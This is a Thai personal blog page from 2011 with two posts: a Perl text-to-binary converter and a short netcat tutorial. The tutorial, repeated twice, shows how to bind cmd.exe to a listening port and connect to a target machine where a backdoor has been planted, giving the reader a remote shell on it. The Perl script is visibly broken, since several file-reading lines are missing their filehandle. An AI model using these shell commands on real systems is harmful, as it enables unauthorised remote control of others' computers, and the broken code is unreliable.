P1P3Z
Blogเป็ด | จากุชชี่
วันอาทิตย์ที่ 20 พฤศจิกายน พ.ศ. 2554
วันอังคารที่ 11 ตุลาคม พ.ศ. 2554
Conver Text เป็น Binary แล้วก็ Binary เป็น Text [ Perl ] ครับ
#!/usr/bin/perl -w
system("cls");
use strict;
print "\n\t\t\t Convert Text to Binary \n\n";
print "\n\t\t\t\tBY P1P3LA \n\n";
my @in;
my $file;
sub tobinary()
{
my @in;
my $out;
my $i;
@in = @_;
for ($i=0;$i<=$#in ;$i++) { $out .= unpack ("B*", $in[$i]); } print "Bianary : $out"; print "\n"; } sub totext() { my @in; my $out; my $i; @in = @_; for ($i=0;$i<=$#in ;$i++) { $out = pack ("B*", $in[$i]); print ("Text : ",$out); } print "\n"; } sub help() { print "\n Usage: $0 [-b | -t] [-f filename | \"Test to convert \"]\n\n"; print " -b : text to binary convert \n"; print " -t : binary to text convert \n"; print " filename : file to be convert ex. filename.pl -b -f filename \n"; print " message : text to be convert ex. filename.pl -t -f filename \n"; } if (@ARGV < 2) { &help(); exit(1); } if ($ARGV[0] eq '-b') { if ($ARGV[1] eq '-f') { $file = $::ARGV[2]; open (File, "<$file") || die " Error : Can't to open $file - $! \n"; @in =;
close(File);
if (!@in)
{
print "Error : No data in $file ... \n";
exit(1);
}
}
else
{
@in = $::ARGV[1];
}
&tobinary(@in);
}
elsif (@ARGV[0] eq '-t')
{
if (@ARGV[1] eq '-f')
{
$file = $::ARGV[2];
open (File, "<$file") || die "Error : can't to open $file - $! \n"; @in =;
close(File);
if (!@in)
{
print "Error : No data in $file ... \n";
exit(1);
}
}
else
{
@in = $::ARGV[1];
}
&totext(@in);
}
else
{
&help();
exit(1);
}
วันจันทร์ที่ 11 กรกฎาคม พ.ศ. 2554
วันเสาร์ที่ 25 มิถุนายน พ.ศ. 2554
การใช้ netcat เบื้องต้น
การเปิดport รอรับการconnectกลับ
nc -l -e cmd.exe -p 30000 อันนี้เครื่องเรารอรับนะ
พอเปิดport รอรับการ connectกลับแล้วเราก็ทำการconnectไปยังเครื่องเป้าหมายที่เราได้ทำการส่งbackdoorไปติดตั้งไว้
nc IP 30000
แค่นี้ก็ได้shell เครื่องเป้าหมายมาแล้วครับ
เบื้องต้น...
nc -l -e cmd.exe -p 30000 อันนี้เครื่องเรารอรับนะ
พอเปิดport รอรับการ connectกลับแล้วเราก็ทำการconnectไปยังเครื่องเป้าหมายที่เราได้ทำการส่งbackdoorไปติดตั้งไว้
nc IP 30000
แค่นี้ก็ได้shell เครื่องเป้าหมายมาแล้วครับ
เบื้องต้น...
วันพุธที่ 15 มิถุนายน พ.ศ. 2554
วันจันทร์ที่ 13 มิถุนายน พ.ศ. 2554
วันพฤหัสบดีที่ 9 มิถุนายน พ.ศ. 2554
สมัครสมาชิก:
บทความ (Atom)